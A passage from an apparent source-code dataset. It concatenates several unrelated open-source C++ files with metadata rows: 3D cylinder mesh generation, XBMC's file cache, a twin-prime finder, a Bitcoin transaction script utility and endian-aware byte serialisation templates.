] | 3 | 2016-08-10T02:44:08.000Z | 2021-05-28T23:03:10.000Z | //============================================================================
// Name : Cylinder
// Author : Duarte Peixinho
// Version :
// Copyright : ;)
// Description : Cylinder Geometry
//============================================================================
#include <Pyros3D/Assets/Renderable/Primitives/Shapes/Cylinder.h>
namespace p3d {
Cylinder::Cylinder(const f32 radius, const f32 height, const uint32 segmentsW, const uint32 segmentsH, bool openEnded, bool smooth, bool flip, bool TangentBitangent)
{
isFlipped = flip;
isSmooth = smooth;
calculateTangentBitangent = TangentBitangent;
this->segmentsH = (f32)segmentsH;
this->height = height;
size_t i, j;
int jMin, jMax;
Vec3 normal;
std::vector <Vec3> aRowT, aRowB;
std::vector <std::vector<Vec3> > aVtc;
if (!openEnded) {
this->segmentsH += 2;
jMin = 1;
jMax = (int)this->segmentsH - 1;
// Bottom
Vec3 oVtx = Vec3(0, -this->height, 0);
for (i = 0; i < segmentsW; ++i) {
aRowB.push_back(oVtx);
}
aVtc.push_back(aRowB);
//Top
oVtx = Vec3(0, this->height, 0);
for (i = 0; i < segmentsW; i++) {
aRowT.push_back(oVtx);
}
}
else {
jMin = 0;
jMax = (int)this->segmentsH;
}
for (j = jMin; (int)j <= jMax; ++j) {
f32 z = -this->height + 2 * this->height*(f32)(j - jMin) / (f32)(jMax - jMin);
std::vector <Vec3> aRow;
for (i = 0; i < segmentsW; ++i) {
f32 verangle = (f32)(2 * (f32)i / segmentsW*PI);
f32 x = radius * sin(verangle);
f32 y = radius * cos(verangle);
Vec3 oVtx = Vec3(y, z, x);
aRow.push_back(oVtx);
}
aVtc.push_back(aRow);
}
if (!openEnded)
aVtc.push_back(aRowT);
for (j = 1; j <= this->segmentsH; ++j) {
for (i = 0; i < segmentsW; ++i) {
Vec3 a = aVtc[j][i];
Vec3 b = aVtc[j][(i - 1 + segmentsW) % segmentsW];
Vec3 c = aVtc[j - 1][(i - 1 + segmentsW) % segmentsW];
Vec3 d = aVtc[j - 1][i];
int i2;
(i == 0 ? i2 = segmentsW : i2 = i);
f32 vab = (f32)j / this->segmentsH;
f32 vcd = (f32)(j - 1) / this->segmentsH;
f32 uad = (f32)i2 / (f32)segmentsW;
f32 ubc = (f32)(i2 - 1) / (f32)segmentsW;
Vec2 aUV = Vec2(uad, -vab);
Vec2 bUV = Vec2(ubc, -vab);
Vec2 cUV = Vec2(ubc, -vcd);
Vec2 dUV = Vec2(uad, -vcd);
normal = ((a - b).cross(c - b)).normalize();
geometry->tVertex.push_back(c); geometry->tNormal.push_back(normal); geometry->tTexcoord.push_back(cUV);
geometry->tVertex.push_back(b); geometry->tNormal.push_back(normal); geometry->tTexcoord.push_back(bUV);
geometry->tVertex.push_back(a); geometry->tNormal.push_back(normal); geometry->tTexcoord.push_back(aUV);
geometry->index.push_back(geometry->tVertex.size() - 3);
geometry->index.push_back(geometry->tVertex.size() - 2);
geometry->index.push_back(geometry->tVertex.size() - 1);
normal = ((a - c).cross(d - c)).normalize();
geometry->tVertex.push_back(d); geometry->tNormal.push_back(normal); geometry->tTexcoord.push_back(dUV);
geometry->tVertex.push_back(c); geometry->tNormal.push_back(normal); geometry->tTexcoord.push_back(cUV);
geometry->tVertex.push_back(a); geometry->tNormal.push_back(normal); geometry->tTexcoord.push_back(aUV);
geometry->index.push_back(geometry->tVertex.size() - 3);
geometry->index.push_back(geometry->tVertex.size() - 2);
geometry->index.push_back(geometry->tVertex.size() - 1);
}
}
if (!openEnded)
{
this->segmentsH -= 2;
}
Vec3 min = geometry->tVertex[0];
for (uint32 i = 0; i < geometry->tVertex.size(); i++)
{
if (geometry->tVertex[i].x < min.x) min.x = geometry->tVertex[i].x;
if (geometry->tVertex[i].y < min.y) min.y = geometry->tVertex[i].y;
if (geometry->tVertex[i].z < min.z) min.z = geometry->tVertex[i].z;
geometry->tTexcoord[i].x = 1 - geometry->tTexcoord[i].x;
}
Build();
// Bounding Box
minBounds = min;
maxBounds = min.negate();
// Bounding Sphere
BoundingSphereCenter = Vec3(0, 0, 0);
BoundingSphereRadius = min.distance(Vec3::ZERO);
}
}; | 30.286765 | 166 | 0.585336 | Peixinho |
2d76b659b8afe3ecf4a4fbb6fead12f9cce200c0 | 13,712 | cpp | C++ | blades/xbmc/xbmc/filesystem/FileCache.cpp | krattai/AEBL | a7b12c97479e1236d5370166b15ca9f29d7d4265 | [
"BSD-2-Clause"
] | 4 | 2016-04-26T03:43:54.000Z | 2016-11-17T08:09:04.000Z | blades/xbmc/xbmc/filesystem/FileCache.cpp | krattai/AEBL | a7b12c97479e1236d5370166b15ca9f29d7d4265 | [
"BSD-2-Clause"
] | 17 | 2015-01-05T21:06:22.000Z | 2015-12-07T20:45:44.000Z | blades/xbmc/xbmc/filesystem/FileCache.cpp | krattai/AEBL | a7b12c97479e1236d5370166b15ca9f29d7d4265 | [
"BSD-2-Clause"
] | 3 | 2016-04-26T03:43:55.000Z | 2020-11-06T11:02:08.000Z | /*
* Copyright (C) 2005-2014 Team XBMC
* http://xbmc.org
*
* This Program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2, or (at your option)
* any later version.
*
* This Program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with XBMC; see the file COPYING. If not, see
* <http://www.gnu.org/licenses/>.
*
*/
#include "threads/SystemClock.h"
#include "FileCache.h"
#include "threads/Thread.h"
#include "File.h"
#include "URL.h"
#include "CircularCache.h"
#include "threads/SingleLock.h"
#include "utils/log.h"
#include "settings/AdvancedSettings.h"
#if !defined(TARGET_WINDOWS)
#include "linux/ConvUtils.h" //GetLastError()
#endif
#include <cassert>
#include <algorithm>
#include <memory>
using namespace XFILE;
#define READ_CACHE_CHUNK_SIZE (64*1024)
class CWriteRate
{
public:
CWriteRate()
{
m_stamp = XbmcThreads::SystemClockMillis();
m_pos = 0;
m_pause = 0;
m_size = 0;
m_time = 0;
}
void Reset(int64_t pos, bool bResetAll = true)
{
m_stamp = XbmcThreads::SystemClockMillis();
m_pos = pos;
if (bResetAll)
{
m_size = 0;
m_time = 0;
}
}
unsigned Rate(int64_t pos, unsigned int time_bias = 0)
{
const unsigned ts = XbmcThreads::SystemClockMillis();
m_size += (pos - m_pos);
m_time += (ts - m_stamp);
m_pos = pos;
m_stamp = ts;
if (m_time == 0)
return 0;
return (unsigned)(1000 * (m_size / (m_time + time_bias)));
}
void Pause()
{
m_pause = XbmcThreads::SystemClockMillis();
}
void Resume()
{
m_stamp += XbmcThreads::SystemClockMillis() - m_pause;
m_pause = 0;
}
private:
unsigned m_stamp;
int64_t m_pos;
unsigned m_pause;
unsigned m_time;
int64_t m_size;
};
CFileCache::CFileCache(const unsigned int flags)
: CThread("FileCache")
, m_pCache(NULL)
, m_bDeleteCache(true)
, m_seekPossible(0)
, m_nSeekResult(0)
, m_seekPos(0)
, m_readPos(0)
, m_writePos(0)
, m_chunkSize(0)
, m_writeRate(0)
, m_writeRateActual(0)
, m_cacheFull(false)
, m_fileSize(0)
, m_flags(flags)
{
}
CFileCache::CFileCache(CCacheStrategy *pCache, bool bDeleteCache /* = true */)
: CThread("FileCacheStrategy")
, m_seekPossible(0)
, m_chunkSize(0)
, m_writeRate(0)
, m_writeRateActual(0)
, m_cacheFull(false)
{
m_pCache = pCache;
m_bDeleteCache = bDeleteCache;
m_seekPos = 0;
m_readPos = 0;
m_writePos = 0;
m_nSeekResult = 0;
}
CFileCache::~CFileCache()
{
Close();
if (m_bDeleteCache && m_pCache)
delete m_pCache;
m_pCache = NULL;
}
void CFileCache::SetCacheStrategy(CCacheStrategy *pCache, bool bDeleteCache /* = true */)
{
if (m_bDeleteCache && m_pCache)
delete m_pCache;
m_pCache = pCache;
m_bDeleteCache = bDeleteCache;
}
IFile *CFileCache::GetFileImp()
{
return m_source.GetImplemenation();
}
bool CFileCache::Open(const CURL& url)
{
Close();
CSingleLock lock(m_sync);
CLog::Log(LOGDEBUG,"CFileCache::Open - opening <%s> using cache", url.GetFileName().c_str());
m_sourcePath = url.Get();
// opening the source file.
if (!m_source.Open(m_sourcePath, READ_NO_CACHE | READ_TRUNCATED | READ_CHUNKED))
{
CLog::Log(LOGERROR,"%s - failed to open source <%s>", __FUNCTION__, url.GetRedacted().c_str());
Close();
return false;
}
m_source.IoControl(IOCTRL_SET_CACHE,this);
// check if source can seek
m_seekPossible = m_source.IoControl(IOCTRL_SEEK_POSSIBLE, NULL);
m_chunkSize = CFile::GetChunkSize(m_source.GetChunkSize(), READ_CACHE_CHUNK_SIZE);
m_fileSize = m_source.GetLength();
if (!m_pCache)
{
if (g_advancedSettings.m_cacheMemBufferSize == 0)
{
// Use cache on disk
m_pCache = new CSimpleFileCache();
}
else
{
size_t cacheSize;
if (m_fileSize > 0 && m_fileSize < g_advancedSettings.m_cacheMemBufferSize && !(m_flags & READ_AUDIO_VIDEO))
{
// NOTE: We don't need to take into account READ_MULTI_STREAM here as it's only used for audio/video
cacheSize = m_fileSize;
}
else
{
cacheSize = g_advancedSettings.m_cacheMemBufferSize;
}
size_t back = cacheSize / 4;
size_t front = cacheSize - back;
if (m_flags & READ_MULTI_STREAM)
{
// READ_MULTI_STREAM requires double buffering, so use half the amount of memory for each buffer
front /= 2;
back /= 2;
}
m_pCache = new CCircularCache(front, back);
}
if (m_flags & READ_MULTI_STREAM)
{
// If READ_MULTI_STREAM flag is set: Double buffering is required
m_pCache = new CDoubleCache(m_pCache);
}
}
// open cache strategy
if (!m_pCache || m_pCache->Open() != CACHE_RC_OK)
{
CLog::Log(LOGERROR,"CFileCache::Open - failed to open cache");
Close();
return false;
}
m_readPos = 0;
m_writePos = 0;
m_writeRate = 1024 * 1024;
m_writeRateActual = 0;
m_cacheFull = false;
m_seekEvent.Reset();
m_seekEnded.Reset();
CThread::Create(false);
return true;
}
void CFileCache::Process()
{
if (!m_pCache)
{
CLog::Log(LOGERROR,"CFileCache::Process - sanity failed. no cache strategy");
return;
}
// create our read buffer
std::unique_ptr<char[]> buffer(new char[m_chunkSize]);
if (buffer.get() == NULL)
{
CLog::Log(LOGERROR, "%s - failed to allocate read buffer", __FUNCTION__);
return;
}
CWriteRate limiter;
CWriteRate average;
bool cacheReachEOF = false;
while (!m_bStop)
{
// Update filesize
m_fileSize = m_source.GetLength();
// check for seek events
if (m_seekEvent.WaitMSec(0))
{
m_seekEvent.Reset();
int64_t cacheMaxPos = m_pCache->CachedDataEndPosIfSeekTo(m_seekPos);
cacheReachEOF = (cacheMaxPos == m_fileSize);
bool sourceSeekFailed = false;
if (!cacheReachEOF)
{
m_nSeekResult = m_source.Seek(cacheMaxPos, SEEK_SET);
if (m_nSeekResult != cacheMaxPos)
{
CLog::Log(LOGERROR,"CFileCache::Process - Error %d seeking. Seek returned %" PRId64, (int)GetLastError(), m_nSeekResult);
m_seekPossible = m_source.IoControl(IOCTRL_SEEK_POSSIBLE, NULL);
sourceSeekFailed = true;
}
}
if (!sourceSeekFailed)
{
const bool bCompleteReset = m_pCache->Reset(m_seekPos, false);
m_readPos = m_seekPos;
m_writePos = m_pCache->CachedDataEndPos();
assert(m_writePos == cacheMaxPos);
average.Reset(m_writePos, bCompleteReset); // Can only recalculate new average from scratch after a full reset (empty cache)
limiter.Reset(m_writePos);
m_cacheFull = (m_pCache->GetMaxWriteSize(m_chunkSize) == 0);
m_nSeekResult = m_seekPos;
}
m_seekEnded.Set();
}
while (m_writeRate)
{
if (m_writePos - m_readPos < m_writeRate * g_advancedSettings.m_readBufferFactor)
{
limiter.Reset(m_writePos);
break;
}
if (limiter.Rate(m_writePos) < m_writeRate * g_advancedSettings.m_readBufferFactor)
break;
if (m_seekEvent.WaitMSec(100))
{
m_seekEvent.Set();
break;
}
}
size_t maxWrite = m_pCache->GetMaxWriteSize(m_chunkSize);
m_cacheFull = (maxWrite == 0);
/* Only read from source if there's enough write space in the cache
* else we may keep disposing data and seeking back on (slow) source
*/
if (m_cacheFull && !cacheReachEOF)
{
average.Pause();
m_pCache->m_space.WaitMSec(5);
average.Resume();
continue;
}
ssize_t iRead = 0;
if (!cacheReachEOF)
iRead = m_source.Read(buffer.get(), maxWrite);
if (iRead == 0)
{
CLog::Log(LOGINFO, "CFileCache::Process - Hit eof.");
m_pCache->EndOfInput();
// The thread event will now also cause the wait of an event to return a false.
if (AbortableWait(m_seekEvent) == WAIT_SIGNALED)
{
m_pCache->ClearEndOfInput();
m_seekEvent.Set(); // hack so that later we realize seek is needed
}
else
break;
}
else if (iRead < 0)
m_bStop = true;
int iTotalWrite=0;
while (!m_bStop && (iTotalWrite < iRead))
{
int iWrite = 0;
iWrite = m_pCache->WriteToCache(buffer.get()+iTotalWrite, iRead - iTotalWrite);
// write should always work. all handling of buffering and errors should be
// done inside the cache strategy. only if unrecoverable error happened, WriteToCache would return error and we break.
if (iWrite < 0)
{
CLog::Log(LOGERROR,"CFileCache::Process - error writing to cache");
m_bStop = true;
break;
}
else if (iWrite == 0)
{
average.Pause();
m_pCache->m_space.WaitMSec(5);
average.Resume();
}
iTotalWrite += iWrite;
// check if seek was asked. otherwise if cache is full we'll freeze.
if (m_seekEvent.WaitMSec(0))
{
m_seekEvent.Set(); // make sure we get the seek event later.
break;
}
}
m_writePos += iTotalWrite;
// under estimate write rate by a second, to
// avoid uncertainty at start of caching
m_writeRateActual = average.Rate(m_writePos, 1000);
}
}
void CFileCache::OnExit()
{
m_bStop = true;
// make sure cache is set to mark end of file (read may be waiting).
if (m_pCache)
m_pCache->EndOfInput();
// just in case someone's waiting...
m_seekEnded.Set();
}
bool CFileCache::Exists(const CURL& url)
{
return CFile::Exists(url.Get());
}
int CFileCache::Stat(const CURL& url, struct __stat64* buffer)
{
return CFile::Stat(url.Get(), buffer);
}
ssize_t CFileCache::Read(void* lpBuf, size_t uiBufSize)
{
CSingleLock lock(m_sync);
if (!m_pCache)
{
CLog::Log(LOGERROR,"%s - sanity failed. no cache strategy!", __FUNCTION__);
return -1;
}
int64_t iRc;
if (uiBufSize > SSIZE_MAX)
uiBufSize = SSIZE_MAX;
retry:
// attempt to read
iRc = m_pCache->ReadFromCache((char *)lpBuf, (size_t)uiBufSize);
if (iRc > 0)
{
m_readPos += iRc;
return (int)iRc;
}
if (iRc == CACHE_RC_WOULD_BLOCK)
{
// just wait for some data to show up
iRc = m_pCache->WaitForData(1, 10000);
if (iRc > 0)
goto retry;
}
if (iRc == CACHE_RC_TIMEOUT)
{
CLog::Log(LOGWARNING, "%s - timeout waiting for data", __FUNCTION__);
return -1;
}
if (iRc == 0)
return 0;
// unknown error code
CLog::Log(LOGERROR, "%s - cache strategy returned unknown error code %d", __FUNCTION__, (int)iRc);
return -1;
}
int64_t CFileCache::Seek(int64_t iFilePosition, int iWhence)
{
CSingleLock lock(m_sync);
if (!m_pCache)
{
CLog::Log(LOGERROR,"%s - sanity failed. no cache strategy!", __FUNCTION__);
return -1;
}
int64_t iCurPos = m_readPos;
int64_t iTarget = iFilePosition;
if (iWhence == SEEK_END)
iTarget = m_fileSize + iTarget;
else if (iWhence == SEEK_CUR)
iTarget = iCurPos + iTarget;
else if (iWhence != SEEK_SET)
return -1;
if (iTarget == m_readPos)
return m_readPos;
if ((m_nSeekResult = m_pCache->Seek(iTarget)) != iTarget)
{
if (m_seekPossible == 0)
return m_nSeekResult;
/* never request closer to end than 2k, speeds up tag reading */
m_seekPos = std::min(iTarget, std::max((int64_t)0, m_fileSize - m_chunkSize));
m_seekEvent.Set();
if (!m_seekEnded.Wait())
{
CLog::Log(LOGWARNING,"%s - seek to %" PRId64" failed.", __FUNCTION__, m_seekPos);
return -1;
}
/* wait for any remainin data */
if(m_seekPos < iTarget)
{
CLog::Log(LOGDEBUG,"%s - waiting for position %" PRId64".", __FUNCTION__, iTarget);
if(m_pCache->WaitForData((unsigned)(iTarget - m_seekPos), 10000) < iTarget - m_seekPos)
{
CLog::Log(LOGWARNING,"%s - failed to get remaining data", __FUNCTION__);
return -1;
}
m_pCache->Seek(iTarget);
}
m_readPos = iTarget;
m_seekEvent.Reset();
}
else
m_readPos = iTarget;
return m_nSeekResult;
}
void CFileCache::Close()
{
StopThread();
CSingleLock lock(m_sync);
if (m_pCache)
m_pCache->Close();
m_source.Close();
}
int64_t CFileCache::GetPosition()
{
return m_readPos;
}
int64_t CFileCache::GetLength()
{
return m_fileSize;
}
void CFileCache::StopThread(bool bWait /*= true*/)
{
m_bStop = true;
//Process could be waiting for seekEvent
m_seekEvent.Set();
CThread::StopThread(bWait);
}
std::string CFileCache::GetContent()
{
if (!m_source.GetImplemenation())
return IFile::GetContent();
return m_source.GetImplemenation()->GetContent();
}
std::string CFileCache::GetContentCharset(void)
{
IFile* impl = m_source.GetImplemenation();
if (!impl)
return IFile::GetContentCharset();
return impl->GetContentCharset();
}
int CFileCache::IoControl(EIoControl request, void* param)
{
if (request == IOCTRL_CACHE_STATUS)
{
SCacheStatus* status = (SCacheStatus*)param;
status->forward = m_pCache->WaitForData(0, 0);
status->maxrate = m_writeRate;
status->currate = m_writeRateActual;
status->full = m_cacheFull;
return 0;
}
if (request == IOCTRL_CACHE_SETRATE)
{
m_writeRate = *(unsigned*)param;
return 0;
}
if (request == IOCTRL_SEEK_POSSIBLE)
return m_seekPossible;
return -1;
}
| 23.399317 | 132 | 0.644545 | krattai |
2d77eec54291d62d8f622a9ae2d3bd464f340aac | 1,199 | cpp | C++ | C-Plus-Plus/twin_prime.cpp | MjCode01/DS-Algo-Point | 79d826fa63090014dfaab281e5170c25b86c6bbf | [
"MIT"
] | 1,148 | 2020-09-28T15:06:16.000Z | 2022-03-17T16:30:08.000Z | C-Plus-Plus/twin_prime.cpp | MjCode01/DS-Algo-Point | 79d826fa63090014dfaab281e5170c25b86c6bbf | [
"MIT"
] | 520 | 2020-09-28T18:34:26.000Z | 2021-10-30T17:06:43.000Z | C-Plus-Plus/twin_prime.cpp | MjCode01/DS-Algo-Point | 79d826fa63090014dfaab281e5170c25b86c6bbf | [
"MIT"
] | 491 | 2020-09-28T18:40:14.000Z | 2022-03-20T13:41:44.000Z | #include<iostream>
#include<vector>
using namespace std;
// helper function to check if a number if prime or not
bool isprime(int a){
for(int i=2;i*i<=a;i++)
if(a%i==0) return false;
return true;
}
int main(){
int a,b;
cin>>a>>b;// input
vector <int> prime;
for(int i=a;i<b;i++){
if(isprime(i))
prime.push_back(i);
}
cout<<"Twin primes are: \n";
for(int i=0;i<prime.size();i++){
if(prime[i]+2==prime[i+1])
cout<<prime[i]<<' '<<prime[i+1]<<endl;
}
return 0;
}
/*
twin prime are prime numbers which are two unit away from each other.
Implimentation:
taking two input finding all prime in between them
then comparing adjacent numbers in vector if they differ by 2 or not
Input:
a and b specifing range
output:
pair of twin prime
Sample Input-Output:
Input1:
1 10
Output1:
Twin primes are:
3 5
5 7
Input2:
1 100
Output2:
Twin primes are:
3 5
5 7
11 13
17 19
29 31
41 43
59 61
71 73
Time Complexity= O((a-b)*sqrt(b))
By prime number theory
number of prime number from 1 to n ~ n/log n
Space complexity = O(b/log(b)-a/log(a))
Contributed by : Hitansh K Doshi(github id: Hitansh159)
*/
| 16.887324 | 72 | 0.631359 | MjCode01 |
2d78bedbb075d63f155dbaf249b1eca044d25218 | 1,882 | cpp | C++ | utils/add_preimage_to_signed_tx.cpp | jmjatlanta/bitcoin-toolbox | 26dd27004c0e3ef13046b0aa598fba3f11dcbcc2 | [
"MIT"
] | null | null | null | utils/add_preimage_to_signed_tx.cpp | jmjatlanta/bitcoin-toolbox | 26dd27004c0e3ef13046b0aa598fba3f11dcbcc2 | [
"MIT"
] | null | null | null | utils/add_preimage_to_signed_tx.cpp | jmjatlanta/bitcoin-toolbox | 26dd27004c0e3ef13046b0aa598fba3f11dcbcc2 | [
"MIT"
] | null | null | null | #include <iostream>
#include <fstream>
#include <vector>
#include <cstdint>
#include <rapidjson/rapidjson.h>
#include <rapidjson/document.h>
#include <transaction.hpp>
#include <hex_conversion.hpp>
#include <script.hpp>
void print_syntax_and_exit(int argc, char**argv)
{
std::cerr << "Syntax: " << argv[0] << " signed_tx_json_file preimage_as_string public_key_as_hex_string\n";
exit(1);
}
std::string read_json_file(std::string filename)
{
std::ifstream f(filename);
std::string str((std::istreambuf_iterator<char>(f)),std::istreambuf_iterator<char>());
return str;
}
int main(int argc, char** argv)
{
if (argc < 4)
print_syntax_and_exit(argc, argv);
// first parameter is the signed transaction as a string
std::string tx_as_json = read_json_file(argv[1]);
rapidjson::Document doc;
doc.Parse(tx_as_json.c_str());
rapidjson::Value& tx_as_value = doc["hex"];
std::string tx_as_string = tx_as_value.GetString();
// second parameter is the preimage
std::string preimage_string(argv[2]);
std::vector<uint8_t> preimage(preimage_string.begin(), preimage_string.end());
// third parameter is the public key
std::vector<uint8_t> public_key = bc_toolbox::hex_string_to_vector(std::string(argv[3]));
// build the script
bc_toolbox::script new_script;
new_script.add_bytes_with_size(public_key);
new_script.add_bytes_with_size(preimage);
// convert tx_as_string back to a transaction
bc_toolbox::transaction tx( bc_toolbox::hex_string_to_vector(tx_as_string) );
bc_toolbox::input& in = tx.inputs.at(0);
// merge the two scripts
std::vector<uint8_t> merged_script = new_script.get_bytes_as_vector();
merged_script.insert(merged_script.end(), in.sig_script.begin(), in.sig_script.end() );
in.sig_script = merged_script;
std::cout << bc_toolbox::vector_to_hex_string( tx.to_bytes() );
} | 31.366667 | 110 | 0.723167 | jmjatlanta |
2d7b32c84a48cb870a90be6b2bde752380007605 | 149 | hpp | C++ | Plus7/Modules/Gfx/Include/DepthState.hpp | txfx/plus7 | 44df3622ea8abe296d921759144e5f0d630b2945 | [
"MIT"
] | null | null | null | Plus7/Modules/Gfx/Include/DepthState.hpp | txfx/plus7 | 44df3622ea8abe296d921759144e5f0d630b2945 | [
"MIT"
] | null | null | null | Plus7/Modules/Gfx/Include/DepthState.hpp | txfx/plus7 | 44df3622ea8abe296d921759144e5f0d630b2945 | [
"MIT"
] | null | null | null | #pragma once
#include "SdlGl/GlDepthState.hpp"
namespace p7 {
namespace gfx {
using DepthState = GlDepthState;
} // namespace gfx
} // namespace p7 | 16.555556 | 33 | 0.738255 | txfx |
2d7f02109fb7da4fb5f8cd8d7e38ce2635d69bd7 | 7,211 | inl | C++ | inc/lak/binary_writer.inl | LAK132/lak | cb7fbc8925d526bbd4f9318ccf572b395cdd01e3 | [
"MIT",
"Unlicense"
] | 3 | 2021-07-12T02:32:50.000Z | 2022-01-30T03:39:53.000Z | inc/lak/binary_writer.inl | LAK132/lak | cb7fbc8925d526bbd4f9318ccf572b395cdd01e3 | [
"MIT",
"Unlicense"
] | 1 | 2020-11-03T08:57:04.000Z | 2020-11-03T09:04:41.000Z | inc/lak/binary_writer.inl | LAK132/lak | cb7fbc8925d526bbd4f9318ccf572b395cdd01e3 | [
"MIT",
"Unlicense"
] | null | null | null | #include "lak/binary_writer.hpp"
#include "lak/memmanip.hpp"
#include "lak/span_manip.hpp"
#include "lak/debug.hpp"
/* --- to_bytes --- */
template<typename T, lak::endian E>
void lak::to_bytes(lak::span<byte_t, lak::to_bytes_size_v<T, E>> bytes,
const T &value)
{
lak::to_bytes_traits<T, E>::to_bytes(lak::to_bytes_data<T, E>::make(
bytes, lak::span<const T, 1>::from_ptr(&value)));
}
template<typename T, lak::endian E>
lak::result<> lak::to_bytes(lak::span<byte_t> bytes, const T &value)
{
return lak::first_as_const_sized<lak::to_bytes_size_v<T, E>>(bytes).map(
[&value](auto bytes)
{
lak::to_bytes(bytes, value);
return lak::monostate{};
});
}
template<typename T, lak::endian E>
lak::array<byte_t, lak::to_bytes_size_v<T, E>> lak::to_bytes(const T &value)
{
lak::array<byte_t, lak::to_bytes_size_v<T, E>> result;
lak::to_bytes(lak::span<byte_t, lak::to_bytes_size_v<T, E>>(result), value);
return result;
}
/* --- array_to_bytes --- */
template<typename T, size_t S, lak::endian E>
lak::array<byte_t, S * lak::to_bytes_size_v<T, E>> lak::array_to_bytes(
lak::span<const T, S> values)
{
lak::array<byte_t, S * lak::to_bytes_size_v<T, E>> result;
lak::to_bytes_traits<T, E>::to_bytes(lak::to_bytes_data<T, E>::make(
lak::span<byte_t, S * lak::to_bytes_size_v<T, E>>(result),
lak::span<const T, S>(values)));
return result;
}
template<typename T, lak::endian E>
lak::array<byte_t> lak::array_to_bytes(lak::span<const T> values)
{
lak::array<byte_t> result;
result.resize(values.size() * lak::to_bytes_size_v<T, E>);
lak::to_bytes_traits<T, E>::to_bytes(
lak::to_bytes_data<T, E>::maybe_make(lak::span<byte_t>(result), values)
.unwrap());
return result;
}
template<typename T, lak::endian E>
lak::result<> lak::array_to_bytes(lak::span<byte_t> bytes,
lak::span<const T> values)
{
return lak::to_bytes_data<T, E>::maybe_make(bytes, values)
.map(
[](lak::to_bytes_data<T, E> data)
{
lak::to_bytes_traits<T, E>::to_bytes(data);
return lak::monostate{};
});
}
namespace lak
{
template<typename T, lak::endian E>
inline void _basic_memcpy_to_bytes(lak::to_bytes_data<T, E> data)
{
static_assert(E == lak::endian::native || ~E == lak::endian::native);
lak::memcpy(data.dst, lak::span<const byte_t>(data.src));
if constexpr (E != lak::endian::native) lak::byte_swap(data.dst);
}
}
/* --- byte_t --- */
template<lak::endian E>
struct lak::to_bytes_traits<byte_t, E>
{
using value_type = byte_t;
static constexpr size_t size = sizeof(value_type);
static void to_bytes(lak::to_bytes_data<value_type, E> data)
{
lak::memcpy(data.dst, data.src);
}
};
/* --- uint8_t --- */
template<lak::endian E>
struct lak::to_bytes_traits<uint8_t, E>
{
using value_type = uint8_t;
static constexpr size_t size = sizeof(value_type);
static void to_bytes(lak::to_bytes_data<value_type, E> data)
{
lak::memcpy(data.dst, lak::span<const byte_t>(data.src));
}
};
/* --- int8_t --- */
template<lak::endian E>
struct lak::to_bytes_traits<int8_t, E>
{
using value_type = int8_t;
static constexpr size_t size = sizeof(value_type);
static void to_bytes(lak::to_bytes_data<value_type, E> data)
{
lak::memcpy(data.dst, lak::span<const byte_t>(data.src));
}
};
/* --- uint16_t --- */
template<lak::endian E>
struct lak::to_bytes_traits<uint16_t, E>
{
using value_type = uint16_t;
static constexpr size_t size = sizeof(value_type);
static void to_bytes(lak::to_bytes_data<value_type, E> data)
{
lak::_basic_memcpy_to_bytes(data);
}
};
/* --- int16_t --- */
template<lak::endian E>
struct lak::to_bytes_traits<int16_t, E>
{
using value_type = int16_t;
static constexpr size_t size = sizeof(value_type);
static void to_bytes(lak::to_bytes_data<value_type, E> data)
{
lak::_basic_memcpy_to_bytes(data);
}
};
/* --- uint32_t --- */
template<lak::endian E>
struct lak::to_bytes_traits<uint32_t, E>
{
using value_type = uint32_t;
static constexpr size_t size = sizeof(value_type);
static void to_bytes(lak::to_bytes_data<value_type, E> data)
{
lak::_basic_memcpy_to_bytes(data);
}
};
/* --- int32_t --- */
template<lak::endian E>
struct lak::to_bytes_traits<int32_t, E>
{
using value_type = int32_t;
static constexpr size_t size = sizeof(value_type);
static void to_bytes(lak::to_bytes_data<value_type, E> data)
{
lak::_basic_memcpy_to_bytes(data);
}
};
/* --- uint64_t --- */
template<lak::endian E>
struct lak::to_bytes_traits<uint64_t, E>
{
using value_type = uint64_t;
static constexpr size_t size = sizeof(value_type);
static void to_bytes(lak::to_bytes_data<value_type, E> data)
{
lak::_basic_memcpy_to_bytes(data);
}
};
/* --- int64_t --- */
template<lak::endian E>
struct lak::to_bytes_traits<int64_t, E>
{
using value_type = int64_t;
static constexpr size_t size = sizeof(value_type);
static void to_bytes(lak::to_bytes_data<value_type, E> data)
{
lak::_basic_memcpy_to_bytes(data);
}
};
/* --- f32_t --- */
template<lak::endian E>
struct lak::to_bytes_traits<f32_t, E>
{
using value_type = f32_t;
static constexpr size_t size = sizeof(value_type);
static void to_bytes(lak::to_bytes_data<value_type, E> data)
{
lak::_basic_memcpy_to_bytes(data);
}
};
/* --- f64_t --- */
template<lak::endian E>
struct lak::to_bytes_traits<f64_t, E>
{
using value_type = f64_t;
static constexpr size_t size = sizeof(value_type);
static void to_bytes(lak::to_bytes_data<value_type, E> data)
{
lak::_basic_memcpy_to_bytes(data);
}
};
/* --- char --- */
template<lak::endian E>
struct lak::to_bytes_traits<char, E>
{
using value_type = char;
static constexpr size_t size = sizeof(value_type);
static void to_bytes(lak::to_bytes_data<value_type, E> data)
{
lak::memcpy(data.dst, lak::span<const byte_t>(data.src));
}
};
#ifdef LAK_COMPILER_CPP20
/* --- char8_t --- */
template<lak::endian E>
struct lak::to_bytes_traits<char8_t, E>
{
using value_type = char8_t;
static constexpr size_t size = sizeof(value_type);
static void to_bytes(lak::to_bytes_data<value_type, E> data)
{
lak::memcpy(data.dst, lak::span<const byte_t>(data.src));
}
};
#endif
/* --- char16_t --- */
template<lak::endian E>
struct lak::to_bytes_traits<char16_t, E>
{
using value_type = char16_t;
static constexpr size_t size = sizeof(value_type);
static void to_bytes(lak::to_bytes_data<value_type, E> data)
{
lak::_basic_memcpy_to_bytes(data);
}
};
/* --- char32_t --- */
template<lak::endian E>
struct lak::to_bytes_traits<char32_t, E>
{
using value_type = char32_t;
static constexpr size_t size = sizeof(value_type);
static void to_bytes(lak::to_bytes_data<value_type, E> data)
{
lak::_basic_memcpy_to_bytes(data);
}
};
/* --- wchar_t --- */
template<lak::endian E>
struct lak::to_bytes_traits<wchar_t, E>
{
using value_type = wchar_t;
static constexpr size_t size = sizeof(value_type);
static void to_bytes(lak::to_bytes_data<value_type, E> data)
{
lak::_basic_memcpy_to_bytes(data);
}
};
| 23.33657 | 77 | 0.669394 | LAK132 |
